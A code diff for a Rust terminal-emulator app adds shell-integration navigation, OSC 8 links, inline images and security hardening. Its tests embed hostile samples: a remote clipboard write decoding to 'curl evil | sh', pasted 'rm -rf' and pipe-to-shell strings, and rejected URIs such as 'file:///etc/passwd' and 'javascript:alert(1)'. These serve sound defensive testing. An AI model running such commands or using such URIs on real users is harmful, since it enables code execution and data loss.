+        let lines: Vec<i32> = self.prompts.iter().map(|p| self.line_of(p.prompt).0).filter(|&l| l >= self.term.grid().topmost_line().0).collect();
+        let target = if forward { lines.iter().copied().find(|&l| l > top.0) } else { lines.iter().rev().copied().find(|&l| l < top.0) };
+        let Some(line) = target else { return false };
+        let want_offset = (-line).clamp(0, self.term.grid().history_size() as i32);
+        self.term.scroll_display(Scroll::Delta(want_offset - self.term.grid().display_offset() as i32));
+        true
+    }
+
+    /// The output of the most recent command that finished (shell integration).
+    pub fn last_output(&self) -> Option<String> {
+        let p = self.prompts.iter().rev().find(|p| p.output.is_some() && p.end.is_some())?;
+        let (from, to) = (self.line_of(p.output?).0.max(self.term.grid().topmost_line().0), self.line_of(p.end?).0);
+        let text: Vec<String> = (from..to).map(|l| self.line_text(Line(l)).0.trim_end().to_string()).collect();
+        Some(text.join("\n").trim_end_matches('\n').to_string())
+    }
+
+    /// Whether the shell reports prompts (OSC 133), which enables the commands above.
+    pub fn has_shell_integration(&self) -> bool {
+        !self.prompts.is_empty()
+    }
+
     pub fn size(&self) -> (u16, u16) {
         (self.cols, self.rows)
     }
@@ -143,6 +396,13 @@ impl TermView {
         self.focus_requested = true;
     }
 
+    /// A window can lose its mouse-up event when it is hidden or minimized mid-drag.
+    /// Drop the transient pointer state while keeping any text already selected.
+    pub fn cancel_pointer_interaction(&mut self) {
+        self.drag = None;
+        self.mouse_down = None;
+    }
+
     pub fn selection_text(&self) -> Option<String> {
         self.term.selection_to_string().filter(|s| !s.is_empty())
     }
@@ -287,17 +547,35 @@ impl TermView {
         self.mouse(ui, &resp, origin, cw, ch, &mut out);
 
         // Terminal-originated events.
-        for e in std::mem::take(&mut *self.events.0.lock().unwrap()) {
+        for e in std::mem::take(&mut *self.events.0.lock()) {
             match e {
                 TermEvent::PtyWrite(s) => out.reply.extend_from_slice(s.as_bytes()),
                 TermEvent::Title(t) => out.title = Some(t),
                 TermEvent::Bell => out.bell = true,
-                TermEvent::ClipboardStore(_, s) => ui.ctx().copy_text(s),
+                TermEvent::ClipboardStore(_, s) => out.clipboard = Some(s),
                 _ => {}
             }
         }
 
         self.paint(ui, rect, origin, &font, cw, ch, theme, focused);
+        self.cell_px = (cw, ch);
+        self.paint_images(ui, rect, origin, cw, ch);
+        // Exit status of each finished command, as a bar beside its prompt (shell integration).
+        let hover = ui.input(|i| i.pointer.hover_pos());
+        for (bar, exit, took) in self.status_bars(rect, origin, ch) {
+            let color = match exit {
+                Some(0) => Color32::from_rgb(0x4c, 0xaf, 0x50),
+                Some(_) => Color32::from_rgb(0xe5, 0x39, 0x35),
+                None => Color32::GRAY,
+            };
+            ui.painter_at(rect).rect_filled(bar, 1.0, color);
+            if hover.is_some_and(|p| bar.expand2(vec2(3.0, 0.0)).contains(p)) {
+                let exit = exit.map_or("finished".to_string(), |c| format!("exit {c}"));
+                let took = took.map_or(String::new(), |d| format!(" · {:.1?}", d));
+                egui::Tooltip::always_open(ui.ctx().clone(), ui.layer_id(), egui::Id::new(("cmd-status", bar.min.y as i32)), egui::PopupAnchor::Pointer)
+                    .show(|ui| ui.label(format!("{exit}{took}")));
+            }
+        }
 
         resp.context_menu(|ui| {
             let m = if cfg!(target_os = "macos") { "⌘" } else { "Ctrl+" };
@@ -314,6 +592,19 @@ impl TermView {
                 (MenuAction::Clear, "Clear", String::new()),
                 (MenuAction::Reset, "Reset", String::new()),
             ];
+            if self.has_shell_integration() {
+                for (a, label, keys) in [
+                    (MenuAction::PrevPrompt, "Previous Prompt", format!("{m}Shift+↑")),
+                    (MenuAction::NextPrompt, "Next Prompt", format!("{m}Shift+↓")),
+                    (MenuAction::CopyOutput, "Copy Last Command Output", String::new()),
+                ] {
+                    if ui.add(egui::Button::new(label).shortcut_text(keys).min_size(vec2(200.0, 0.0))).clicked() {
+                        out.menu = Some(a);
+                        ui.close();
+                    }
+                }
+                ui.separator();
+            }
             for (i, (a, label, keys)) in items.into_iter().enumerate() {
                 if matches!(i, 3 | 5 | 6 | 8) {
                     ui.separator();
@@ -334,9 +625,38 @@ impl TermView {
             self.select_all();
             out.menu = None;
         }
+        match out.menu {
+            Some(a @ (MenuAction::PrevPrompt | MenuAction::NextPrompt)) => {
+                self.jump_prompt(a == MenuAction::NextPrompt);
+                out.menu = None;
+            }
+            Some(MenuAction::CopyOutput) => {
+                if let Some(text) = self.last_output() {
+                    ui.ctx().copy_text(text);
+                }
+                out.menu = None;
+            }
+            _ => {}
+        }
         out
     }
 
+    /// Where to draw each visible finished command's status bar, with its exit code and duration.
+    fn status_bars(&self, rect: Rect, origin: Pos2, ch: f32) -> Vec<(Rect, Option<i32>, Option<std::time::Duration>)> {
+        let offset = self.term.grid().display_offset() as i32;
+        self.prompts
+            .iter()
+            .filter(|p| p.end.is_some())
+            .filter_map(|p| {
+                let vr = self.line_of(p.prompt).0 + offset;
+                (0..self.rows as i32).contains(&vr).then(|| {
+                    let y = origin.y + vr as f32 * ch;
+                    (Rect::from_min_max(pos2(rect.left(), y + 1.0), pos2(rect.left() + 3.0, y + ch - 1.0)), p.exit, p.duration)
+                })
+            })
+            .collect()
+    }
+
     fn keyboard(&mut self, ui: &mut Ui, out: &mut TermResponse) {
         let events = ui.input(|i| i.events.clone());
         let mode = *self.term.mode();
@@ -369,6 +689,11 @@ impl TermView {
                     typed = true;
                 }
                 Event::Key { key, pressed: true, modifiers, .. } => {
+                    // Ctrl/Cmd+Shift+Up/Down jump between prompts (shell integration).
+                    if modifiers.command && modifiers.shift && matches!(key, Key::ArrowUp | Key::ArrowDown) && self.has_shell_integration() {
+                        self.jump_prompt(key == Key::ArrowDown);
+                        continue;
+                    }
                     // Shift+PageUp/PageDown/Home/End scroll the local scrollback.
                     if modifiers.shift && !modifiers.ctrl && !mode.contains(TermMode::ALT_SCREEN) {
                         let page = self.rows as i32 - 1;
@@ -398,7 +723,19 @@ impl TermView {
         }
     }
 
+    /// Pastes `text`, or hands it back in `out.confirm_paste` when `confirm_paste` is set and the
+    /// paste could act by itself without bracketed paste: newlines run lines, and other control
+    /// characters do too (readline's C-o runs the line, C-d exits, ESC drives key macros).
     pub fn paste(&mut self, text: &str, out: &mut TermResponse) {
+        let acts = text.chars().any(|c| c.is_control() && c != '\t');
+        if self.confirm_paste && !self.term.mode().contains(TermMode::BRACKETED_PASTE) && acts {
+            out.confirm_paste = Some(text.into());
+            return;
+        }
+        self.paste_now(text, out);
+    }
+
+    pub fn paste_now(&mut self, text: &str, out: &mut TermResponse) {
         let text = text.replace("\r\n", "\r").replace('\n', "\r");
         if self.term.mode().contains(TermMode::BRACKETED_PASTE) {
             out.input.extend_from_slice(b"\x1b[200~");
@@ -450,13 +787,31 @@ impl TermView {
                         self.term.scroll_display(Scroll::Delta(n));
                     }
                 }
-                Event::PointerButton { pos, button, pressed, modifiers } if resp.rect.contains(*pos) => {
+                Event::PointerButton { pos, button, pressed, modifiers } => {
                     let b = match button {
                         PointerButton::Primary => 0,
                         PointerButton::Middle => 1,
                         PointerButton::Secondary => 2,
                         _ => continue,
                     };
+                    // A mouse-up outside this widget still ends a drag that began here.
+                    // Without this, the next pointer movement keeps extending the selection.
+                    let was_mouse_down = self.mouse_down == Some(b);
+                    if !*pressed {
+                        if b == 0 {
+                            self.drag = None;
+                        }
+                        if was_mouse_down {
+                            self.mouse_down = None;
+                        }
+                    }
+                    if !resp.rect.contains(*pos) {
+                        if !*pressed && was_mouse_down {
+                            let (c, r) = to_cell(*pos);
+                            out.input.extend(mouse_report(b, c, r, false, mode));
+                        }
+                        continue;
+                    }
                     if reporting && b != 2 || reporting && mode.contains(TermMode::MOUSE_MODE) && b == 2 && !*pressed {
                         let (c, r) = to_cell(*pos);
                         out.input.extend(mouse_report(b, c, r, *pressed, mode));
@@ -470,7 +825,8 @@ impl TermView {
                         if modifiers.command
                             && let Some(url) = self.url_at(origin, cw, ch, *pos)
                         {
-                            ui.ctx().open_url(egui::OpenUrl::new_tab(url));
+                            // Only web links: text from a remote host must not launch file: or custom-scheme handlers.
+                            crate::widgets::open_web_url(ui.ctx(), &url);
                             continue;
                         }
                         let now = ui.input(|i| i.time);
@@ -524,9 +880,20 @@ impl TermView {
                 _ => {}
             }
         }
+        // An OSC 8 link's text can say anything, so its real target is always shown on hover.
+        if let Some(p) = hover
+            && let Some(link) = self.hyperlink_at(self.point_at(origin, cw, ch, p).0)
+        {
+            egui::Tooltip::always_open(ui.ctx().clone(), ui.layer_id(), egui::Id::new("term-link"), egui::PopupAnchor::Pointer).show(|ui| {
+                ui.label(&link);
+                if !crate::widgets::is_web_url(&link) {
+                    ui.label(egui::RichText::new("Not a web link — won't be opened").weak());
+                }
+            });
+        }
         if let Some(p) = hover
             && ui.input(|i| i.modifiers.command)
-            && self.url_at(origin, cw, ch, p).is_some()
+            && self.url_at(origin, cw, ch, p).is_some_and(|u| crate::widgets::is_web_url(&u))
         {
             ui.ctx().set_cursor_icon(egui::CursorIcon::PointingHand);
         } else if hover.is_some() {
@@ -534,17 +901,28 @@ impl TermView {
         }
     }
 
+    /// The link under `p`: an OSC 8 hyperlink on the cell, else a URL in the text.
     fn url_at(&self, origin: Pos2, cw: f32, ch: f32, p: Pos2) -> Option<String> {
         let (point, _) = self.point_at(origin, cw, ch, p);
+        if let Some(link) = self.hyperlink_at(point) {
+            return Some(link);
+        }
         let (text, cols) = self.line_text(point.line);
-        let re = regex::Regex::new(URL_RE).ok()?;
-        re.find_iter(&text).find_map(|m| {
+        static RE: std::sync::LazyLock<regex::Regex> = std::sync::LazyLock::new(|| regex::Regex::new(URL_RE).expect("URL_RE is valid"));
+        RE.find_iter(&text).find_map(|m| {
             let start = text[..m.start()].chars().count();
             let end = start + m.as_str().chars().count() - 1;
             (cols.get(start)? <= &point.column.0 && cols.get(end)? >= &point.column.0).then(|| m.as_str().to_string())
         })
     }
 
+    fn hyperlink_at(&self, point: Point) -> Option<String> {
+        let g = self.term.grid();
+        (point.line >= g.topmost_line() && point.line <= g.bottommost_line() && point.column.0 < self.term.columns())
+            .then(|| g[point].hyperlink().map(|h| h.uri().to_string()))
+            .flatten()
+    }
+
     #[allow(clippy::too_many_arguments)]
     fn paint(&mut self, ui: &mut Ui, rect: Rect, origin: Pos2, font: &FontId, cw: f32, ch: f32, theme: &TermTheme, focused: bool) {
         let painter = ui.painter_at(rect);
@@ -604,20 +982,29 @@ impl TermView {
                 }
                 if cell.flags.intersects(Flags::ALL_UNDERLINES) {
                     painter.hline(cell_rect.x_range(), y + ch - 1.5, Stroke::new(1.0, fg));
+                } else if cell.hyperlink().is_some() {
+                    // OSC 8 links: a dotted underline.
+                    let mut x0 = cell_rect.left();
+                    while x0 < cell_rect.right() {
+                        painter.hline(x0..=(x0 + 1.5).min(cell_rect.right()), y + ch - 1.5, Stroke::new(1.0, fg.gamma_multiply(0.8)));
+                        x0 += 3.0;
+                    }
                 }
                 if cell.flags.contains(Flags::STRIKEOUT) {
                     painter.hline(cell_rect.x_range(), y + ch * 0.55, Stroke::new(1.0, fg));
                 }
                 let hidden = cell.flags.contains(Flags::HIDDEN);
                 let chr = if hidden { ' ' } else { cell.c };
-                // ASCII runs share one text call; anything else is placed on its own cell so a
-                // fallback font's advance can't push later glyphs off the grid.
-                if chr.is_ascii() && width == 1.0 && fg == run_color && !run.is_empty() {
+                // ASCII runs share one text call; anything else (including ASCII with combining
+                // marks) is placed on its own cell so a fallback font's advance can't push later
+                // glyphs off the grid.
+                let plain = chr.is_ascii() && width == 1.0 && cell.zerowidth().is_none();
+                if plain && fg == run_color && !run.is_empty() {
                     run.push(chr);
                     continue;
                 }
                 flush(&mut run, run_x, run_color);
-                if chr.is_ascii() && width == 1.0 {
+                if plain {
                     run.push(chr);
                     run_x = x;
                     run_color = fg;
@@ -626,7 +1013,9 @@ impl TermView {
                     if let Some(z) = cell.zerowidth() {
                         s.extend(z);
                     }
-                    painter.text(cell_rect.center(), egui::Align2::CENTER_CENTER, s, font.clone(), fg);
+                    // Top-anchored like the ASCII runs: centring vertically in the (rounded-up)
+                    // cell height drew accented and other non-ASCII glyphs below the baseline.
+                    painter.text(pos2(cell_rect.center().x, y), egui::Align2::CENTER_TOP, s, font.clone(), fg);
                 }
             }
             flush(&mut run, run_x, run_color);
@@ -855,6 +1244,127 @@ mod tests {
         assert!(key_bytes(Key::A, none, TermMode::empty()).is_none());
     }
 
+    #[test]
+    fn remote_clipboard_and_multiline_paste_go_to_the_app() {
+        let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
+        t.feed(b"\x1b]52;c;Y3VybCBldmlsIHwgc2g=\x07");
+        let ctx = egui::Context::default();
+        let mut out = None;
+        let mut full = ctx.run_ui(Default::default(), |ui| out = Some(t.ui(ui, crate::terminal_themes::get("charcoal"), true)));
+        full.textures_delta.clear();
+        assert_eq!(out.unwrap().clipboard.as_deref(), Some("curl evil | sh"));
+        assert!(!full.platform_output.commands.iter().any(|c| matches!(c, egui::OutputCommand::CopyText(_))), "the view must not touch the clipboard itself");
+
+        let mut out = TermResponse::default();
+        t.confirm_paste = true;
+        t.paste("ls\nrm -rf x\n", &mut out);
+        assert!(out.input.is_empty());
+        assert_eq!(out.confirm_paste.as_deref(), Some("ls\nrm -rf x\n"));
+        let mut out = TermResponse::default();
+        t.paste("one line", &mut out);
+        assert_eq!(out.input, b"one line");
+        // Control characters that act without a newline need the prompt too (C-o runs the line).
+        let mut out = TermResponse::default();
+        t.paste("curl x|sh\x0f", &mut out);
+        assert!(out.input.is_empty() && out.confirm_paste.is_some());
+        let mut out = TermResponse::default();
+        t.paste("a\tb", &mut out);
+        assert_eq!(out.input, b"a\tb", "a tab is fine");
+        t.feed(b"\x1b[?2004h");
+        let mut out = TermResponse::default();
+        t.paste("a\nb", &mut out);
+        assert!(out.confirm_paste.is_none() && out.input.starts_with(b"\x1b[200~"), "bracketed paste needs no prompt");
+    }
+
+    #[test]
+    fn oversized_inline_images_are_refused_before_decoding() {
+        use std::io::Cursor;
+        let png = |w: u32, h: u32| {
+            let mut v = Vec::new();
+            image::RgbaImage::new(w, h).write_to(&mut Cursor::new(&mut v), image::ImageFormat::Png).unwrap();
+            v
+        };
+        let b64 = |d: &[u8]| {
+            use base64::Engine;
+            base64::engine::general_purpose::STANDARD.encode(d)
+        };
+        let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
+        // 8192x8192 is within the decoder's dimension limits but over the 32 Mpx budget.
+        t.feed(format!("\x1b]1337;File=inline=1:{}\x07", b64(&png(8192, 8192))).as_bytes());
+        assert!(t.images.is_empty());
+        t.feed(format!("\x1b]1337;File=inline=1:{}\x07", b64(&png(64, 64))).as_bytes());
+        assert_eq!(t.images.len(), 1);
+    }
+
+    #[test]
+    fn shell_integration_marks_survive_a_full_scrollback() {
+        // Scrollback of 30 lines, so the history fills and rotates during the test.
+        let mut t = TermView::new(30, 14.0, CursorStyle::Block);
+        let prompt = |t: &mut TermView| t.feed(b"\x1b]133;A\x07$ \x1b]133;B\x07");
+        let run = |t: &mut TermView, cmd: &str, out: &[String], code: i32| {
+            t.feed(format!("{cmd}\r\n\x1b]133;C\x07").as_bytes());
+            for l in out {
+                t.feed(format!("{l}\r\n").as_bytes());
+            }
+            t.feed(format!("\x1b]133;D;{code}\x07").as_bytes());
+        };
+        prompt(&mut t);
+        run(&mut t, "seq 3", &["1".into(), "2".into(), "3".into()], 0);
+        prompt(&mut t);
+        assert_eq!(t.last_output().as_deref(), Some("1\n2\n3"));
+        let many: Vec<String> = (0..80).map(|i| format!("line {i}")).collect();
+        run(&mut t, "big", &many, 3);
+        prompt(&mut t);
+        run(&mut t, "tail", &["a".into(), "b".into()], 1);
+        prompt(&mut t);
+        assert_eq!(t.last_output().as_deref(), Some("a\nb"), "rotation must not shift the marks");
+        let last = t.prompts.iter().rev().nth(1).unwrap();
+        assert_eq!(last.exit, Some(1));
+        assert_eq!(t.line_text(t.line_of(last.prompt)).0.trim_end(), "$ tail");
+        // Jumping back lands an earlier prompt (still in the scrollback) at the top of the view.
+        let more: Vec<String> = (0..20).map(|i| format!("more {i}")).collect();
+        run(&mut t, "more", &more, 0);
+        prompt(&mut t);
+        assert!(t.jump_prompt(false));
+        let top = Line(-(t.term.grid().display_offset() as i32));
+        assert!(t.line_text(top).0.starts_with("$ "), "{:?}", t.line_text(top).0);
+        // A cleared scrollback drops the marks with it.
+        t.feed(b"\x1b[3J\x1b[2J");
+        t.feed(b"x\r\n");
+        assert!(t.prompts.len() <= 1);
+    }
+
+    #[test]
+    fn osc8_links_are_found_on_their_cells() {
+        let mut t = TermView::new(100, 14.0, CursorStyle::Block);
+        t.feed(b"see \x1b]8;;https://example.com/docs\x1b\\the docs\x1b]8;;\x1b\\ now");
+        let at = |c| t.hyperlink_at(Point::new(Line(0), Column(c)));
+        assert_eq!(at(4).as_deref(), Some("https://example.com/docs"));
+        assert_eq!(at(11).as_deref(), Some("https://example.com/docs"));
+        assert_eq!(at(12), None, "the link ends with its text");
+        assert_eq!(at(0), None);
+    }
+
+    #[test]
+    fn inline_images_reserve_rows_and_respect_width() {
+        use base64::Engine;
+        let mut png = Vec::new();
+        image::RgbaImage::from_pixel(40, 32, image::Rgba([255, 0, 0, 255])).write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png).unwrap();
+        let b64 = base64::engine::general_purpose::STANDARD.encode(&png);
+        let mut t = TermView::new(100, 14.0, CursorStyle::Block);
+        t.cell_px = (8.0, 16.0);
+        t.feed(format!("x\r\n\x1b]1337;File=inline=1;width=10:{b64}\x07after").as_bytes());
+        let img = &t.images[0];
+        // 10 cells wide (80 px) keeps the 40x32 aspect: 64 px = 4 rows; the text continues below.
+        assert_eq!((img.col, img.cols, img.rows), (0, 10, 4));
+        assert_eq!(t.line_of(img.stable), Line(1));
+        assert_eq!(t.term.grid().cursor.point.line, Line(5));
+        assert!(t.line_text(Line(5)).0.starts_with("after"));
+        // Garbage is ignored rather than placed.
+        t.feed(b"\x1b]1337;File=inline=1:bm90IGFuIGltYWdl\x07");
+        assert_eq!(t.images.len(), 1);
+    }
+
     #[test]
     fn feeds_text_and_finds_it() {
         let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
@@ -872,7 +1382,7 @@ mod tests {
     fn replies_to_device_attributes() {
         let mut t = TermView::new(10, 14.0, CursorStyle::Block);
         t.feed(b"\x1b[6n");
-        let ev = t.events.0.lock().unwrap();
+        let ev = t.events.0.lock();
         assert!(ev.iter().any(|e| matches!(e, TermEvent::PtyWrite(s) if s == "\x1b[1;1R")));
     }
 

rust/app/src/terminal_themes.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! The 11 terminal colour schemes, generated from the web build's themes.js.
 
 pub struct TermTheme {

rust/app/src/theme.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Design system: colour tokens, radii and typography (Inter for UI, JetBrains Mono for bytes).
 //! Widgets read `Tokens::get(ctx)` instead of hard-coding colours, so every theme applies
 //! everywhere. Copied from Leviathan Desktop so both apps share one look.

rust/app/src/transfer.rs

@@ -1,4 +1,7 @@
-//! Profile export/import: encrypted `.nexus` (also reads `.link`) and plain JSON.
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
+//! Profile export/import: encrypted `.nexus` and plain JSON.
 
 use crate::settings::{Job, poll};
 use crate::state::{Request, Shared};
@@ -54,7 +57,7 @@ impl Transfer {
 
     pub fn import_encrypted(&mut self) {
         if let Some(path) =
-            rfd::FileDialog::new().set_title("Import Profiles").add_filter("Nexus Export", &[EXTENSION, "link"]).add_filter("All files", &["*"]).pick_file()
+            rfd::FileDialog::new().set_title("Import Profiles").add_filter("Nexus Export", &[EXTENSION]).add_filter("All files", &["*"]).pick_file()
         {
             self.mode = Some(Mode::Import { path, pw: String::new(), strategy: "skip", status: String::new() });
         }
@@ -210,7 +213,12 @@ impl Transfer {
                             .add_filter("JSON", &["json"])
                             .save_file()
                     {
-                        match s.svc.export_json(*include_secrets).map_err(|e| e.to_string()).and_then(|j| std::fs::write(&path, j).map_err(|e| e.to_string())) {
+                        match s
+                            .svc
+                            .export_json(*include_secrets)
+                            .map_err(|e| e.to_string())
+                            .and_then(|j| nexus_core::secrets::write_private(&path, j.as_bytes()).map_err(|e| e.to_string()))
+                        {
                             Ok(()) => {
                                 s.success(format!("Exported {} profile(s) to {}", s.profiles.len(), path.display()));
                                 close = true;

rust/app/src/triggers.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Trigger rules: match terminal output lines and notify / highlight / beep (port of triggers.js).
 //! Rules live in `triggers.json` in the data directory (the web build's localStorage rules are
 //! not migrated).

rust/app/src/views.rs

@@ -1,17 +1,21 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! How a session is drawn. Terminal-style protocols share `TermView`; the rest have their own.
 
+use crate::desktop_view::DesktopView;
 use crate::github_view::GithubView;
 use crate::irc_view::IrcView;
 use crate::raw_view::RawView;
 use crate::terminal::TermView;
-use crate::vnc_view::VncView;
 
 pub enum View {
     Terminal(Box<TermView>),
     Raw(Box<RawView>),
     Irc(Box<IrcView>),
     Github(Box<GithubView>),
-    Vnc(Box<VncView>),
+    /// VNC or RDP.
+    Desktop(Box<DesktopView>),
 }
 
 /// Protocol badge colour (the web build's --protocol-* tokens).
@@ -24,6 +28,7 @@ pub fn protocol_color(p: nexus_core::models::Protocol) -> egui::Color32 {
         Raw => rgb(0xab, 0x47, 0xbc),
         Github => rgb(0x7c, 0x8a, 0xff),
         Vnc => rgb(0xe8, 0x5d, 0x4a),
+        Rdp => rgb(0x26, 0xa6, 0x9a),
         Irc => rgb(0xd8, 0xb2, 0x4c),
         Local => rgb(0x8b, 0xc3, 0x4a),
         Serial => rgb(0x4f, 0xa3, 0xe0),
@@ -39,6 +44,7 @@ pub fn protocol_badge(p: nexus_core::models::Protocol) -> &'static str {
         Raw => "RAW",
         Github => "GitHub",
         Vnc => "VNC",
+        Rdp => "RDP",
         Irc => "IRC",
         Local => "LOCAL",
         Serial => "SERIAL",

rust/app/src/widgets.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Shared widgets: section headers, buttons, chips, key/value grids, virtual lists, empty states.
 //! Colours always come from `Tokens`.
 
@@ -125,6 +128,27 @@ pub fn group(n: u64) -> String {
     out
 }
 
+/// Whether `url` is a plain web link. Links that arrive from the network (update manifests,
+/// GitHub API responses) are only handed to the system opener when they are http(s), so a
+/// hostile or spoofed server can't launch `file:`, `ssh:` or custom-scheme handlers.
+pub fn is_web_url(url: &str) -> bool {
+    // Compare bytes: slicing the `str` at 7/8 panics when that offset falls inside a multi-byte
+    // character, and these strings come from the network (hovering a hostile OSC 8 link).
+    let u = url.trim().as_bytes();
+    let starts = |p: &[u8]| u.len() > p.len() && u[..p.len()].eq_ignore_ascii_case(p);
+    starts(b"https://") || starts(b"http://")
+}
+
+/// Opens `url` in the browser if it is a web link; returns false (and opens nothing) otherwise.
+pub fn open_web_url(ctx: &egui::Context, url: &str) -> bool {
+    if !is_web_url(url) {
+        tracing::warn!(url, "refusing to open a non-web URL");
+        return false;
+    }
+    ctx.open_url(egui::OpenUrl::new_tab(url.trim()));
+    true
+}
+
 pub fn human_size(n: u64) -> String {
     const U: [&str; 5] = ["B", "KiB", "MiB", "GiB", "TiB"];
     let mut v = n as f64;
@@ -142,4 +166,27 @@ mod tests {
     fn helpers() {
         assert_eq!(super::group(1234567), "1,234,567");
     }
+
+    #[test]
+    fn only_web_urls_are_opened() {
+        for ok in ["https://dixon.cx/downloads/nexus/", "http://localhost:3000/x", " HTTPS://Example.com "] {
+            assert!(super::is_web_url(ok), "{ok}");
+        }
+        assert!(super::is_web_url("http://über.example/"));
+        for bad in [
+            "",
+            "https://",
+            "file:///etc/passwd",
+            "ssh://evil",
+            "javascript:alert(1)",
+            "ms-msdt:/id x",
+            "ftp://host/",
+            "//host/path",
+            "mailto:ü@x",
+            "http:/üüü",
+            "ftp://é",
+        ] {
+            assert!(!super::is_web_url(bad), "{bad}");
+        }
+    }
 }